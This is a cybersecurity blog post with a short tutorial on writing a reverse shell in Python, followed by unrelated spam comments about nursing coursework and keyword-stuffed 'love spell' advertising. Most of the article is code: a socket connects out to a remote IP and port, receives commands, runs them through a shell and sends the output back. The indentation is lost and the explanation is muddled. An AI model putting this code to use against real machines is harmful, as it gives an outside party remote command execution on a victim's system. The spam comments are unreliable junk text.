top of page

CYBER & INFOSEC

"blogger, InfoSec specialist, super hero ... and all round good guy" 

DISCUSSIONS, CONCEPTS & TECHNOLOGIES FOR THE WORLD OF

JOIN THE DISCUSSION

How to write a reverse shell

  • Oct 31, 2023
  • 2 min read

A reverse shell is a type of network connection in which a remote computer establishes a connection to a local computer and allows the remote computer to execute commands on the local computer. This can be useful in a number of situations, such as when a local computer is behind a firewall and needs to connect to a remote computer, or when a local computer needs to be accessed remotely by a third party.

Here is an example of how to write a simple reverse shell in Python:


First, we will need to import the necessary libraries. In this example, we will use the socket library to create the network connection and the subprocess library to execute commands:




import socket

import subprocess



Next, we will create a function to establish the reverse shell connection. This function will take two arguments: the IP address of the remote computer and the port number that we want to use for the connection:




def reverse_shell(ip, port):

# Create a socket object

s = socket.socket()


# Connect to the remote computer

s.connect((ip, port))



Once the connection is established, we can use the subprocess library to execute commands on the local computer. For example, we can use the



subprocess.Popen() function to execute a command and capture the output:





def reverse_shell(ip, port):

# Create a socket object

s = socket.socket()


# Connect to the remote computer

s.connect((ip, port))


# Execute a command and capture the output

cmd = s.recv(1024).decode()

output = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)



We can then send the output of the command back to the remote computer using the send() function:




def reverse_shell(ip, port):

# Create a socket object

s = socket.socket()


# Connect to the remote computer

s.connect((ip, port))


# Execute a command and capture the output

cmd = s.recv(1024).decode()

output = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)


# Send the output back to the remote computer

s.send(output.stdout.read())

s.send(output.stderr.read())



Finally, we can call the function and pass in the IP address and port number of the remote computer to establish the reverse shell connection:




reverse_shell('192.168.1.100', 8080)



Okay, lets build on what we know and get a little more complicated by adding some encryption and error checking.



Recent Posts

See All

63 Comments


midodiv972
3 days ago

MBA FPX 5002 Assessment 1: A Guide to Nursing Education and Academic Success

Introduction

Nursing education has expanded significantly in recent years, moving beyond traditional clinical training to include leadership, management, and organizational development. Today’s healthcare systems require nurses who are not only skilled in patient care but also capable of making strategic decisions MBA FPX 5002 Assessment 1, managing teams, and improving healthcare outcomes. In this context, MBA FPX 5002 Assessment 1 plays an important role in shaping the academic and professional development of nursing students.

This assessment is designed to connect nursing practice with business and management principles. It helps students analyze healthcare challenges, apply leadership theories, and develop practical solutions. For nursing education, MBA FPX 5002 Assessment…

Like

midodiv972
3 days ago

DB FPX: A Complete Guide for Learners in Business Doctoral FlexPath Programs

Understanding What DB FPX Means

The term DB FPX is commonly used to refer to doctoral-level business FlexPath learning pathways designed for advanced students pursuing leadership DB FPX, research, and strategic management education. It represents a competency-based academic model where learners progress by demonstrating mastery of specific skills rather than following a fixed semester schedule.

In simple terms, DB FPX is not about sitting through traditional exams. Instead, it focuses on applying knowledge to real-world business problems, conducting research, and producing high-level academic work. This makes it especially suitable for working professionals who want flexibility while advancing their education.

The structure is built to develop executives, consultants, researchers,…

Like

ali88 kiki88
ali88 kiki88
May 15

Mình có lần lướt đọc mấy trao đổi trên mạng شيخ روحاني thì thấy nhắc nên cũng tò mò mở ra xem thử cho biết. Mình không tìm hiểu sâu rauhane chỉ xem qua trong thời gian ngắn để quan sát bố cục s3udy cách sắp xếp جلب الحبيب بالدعاء các mục và trình bày nội جلب الحبيب العنيد dung tổng thể. Cảm جلب الحبيب للزواج giác là các phần được trình bày khá gọn, các جلب الحبيب السعودية mục rõ ràng nên đọc lướt cũng không bị rối Berlinintim, với mình như جلب الحبيب بسرعة vậy là سحر جلب الحبيب đủ để nắm   tin cơ bản rồi. q8yat

That article about جلب الحبيب عن بعد the collaboration between National Chengchi University and LinkedIn really shows how important strategic partnerships…


Like

ali88 kiki88
ali88 kiki88
May 15

Mình có lần lướt đọc mấy trao đổi trên mạng شيخ روحاني thì thấy nhắc nên cũng tò mò mở ra xem thử cho biết. Mình không tìm hiểu sâu rauhane chỉ xem qua trong thời gian ngắn để quan sát bố cục s3udy cách sắp xếp جلب الحبيب بالدعاء các mục và trình bày nội جلب الحبيب العنيد dung tổng thể. Cảm جلب الحبيب للزواج giác là các phần được trình bày khá gọn, các جلب الحبيب السعودية mục rõ ràng nên đọc lướt cũng không bị rối Berlinintim, với mình như جلب الحبيب بسرعة vậy là سحر جلب الحبيب đủ để nắm   tin cơ bản rồi. q8yat

That article about جلب الحبيب عن بعد the collaboration between National Chengchi University and LinkedIn really shows how important strategic partnerships…


Like

kahegak748
May 07

NURS FPX 4000 Assessment: A Fresh Perspective on Nursing Competency Development

Introduction: Why This Assessment Matters

The NURS FPX 4000 Assessment is a key component in nursing education that helps students transition from theoretical learning to real-world clinical application. It is designed to evaluate how well learners can analyze patient situations, apply evidence-based knowledge NURS FPX 4000 Assessment 4, and make sound clinical decisions.

Unlike basic coursework that focuses on definitions or memorization, this assessment pushes students to think like practicing nurses. It requires them to assess patient needs, prioritize care, and justify nursing actions using current research and professional standards.

For many nursing students, this assessment represents an important step toward becoming confident, competent healthcare professionals.

Developing Real-World Nursing…

Like

doctorchaos.com and drchaos.com is a blog dedicated to Cyber Counter Intelligence and Cybersecurity technologies. The posts will be a discussion of concepts and technologies that make up emerging threats and techniques related to Cyber Defense. Sometimes we get a little off-topic. Articles are gathered or written by cyber security professionals, leading OEMs, and enthusiasts from all over the world to bring an in-depth, real-world, look at Cyber Security. About this blog doctorchaos.com and drchaos.com and any affiliate website does not represent or endorse the accuracy or reliability of any information’s, content or advertisements contained on, distributed through, or linked, downloaded or accessed from any of the services contained on this website, nor the quality of any products, information’s or any other material displayed, purchased, or obtained by you as a result of an advertisement or any other information’s or offer in or in connection with the services herein. Everything on this blog is based on personal opinion and should be interoperated as such. Contact Info If you would like to contact this blog, you may do so by emailing ALAKHANI(AT)YMAIL(DOT)COM  

SOCIALS 

SUBSCRIBE 

Keeping you informed | Latest News

© 2018 Dr. Chaos 

bottom of page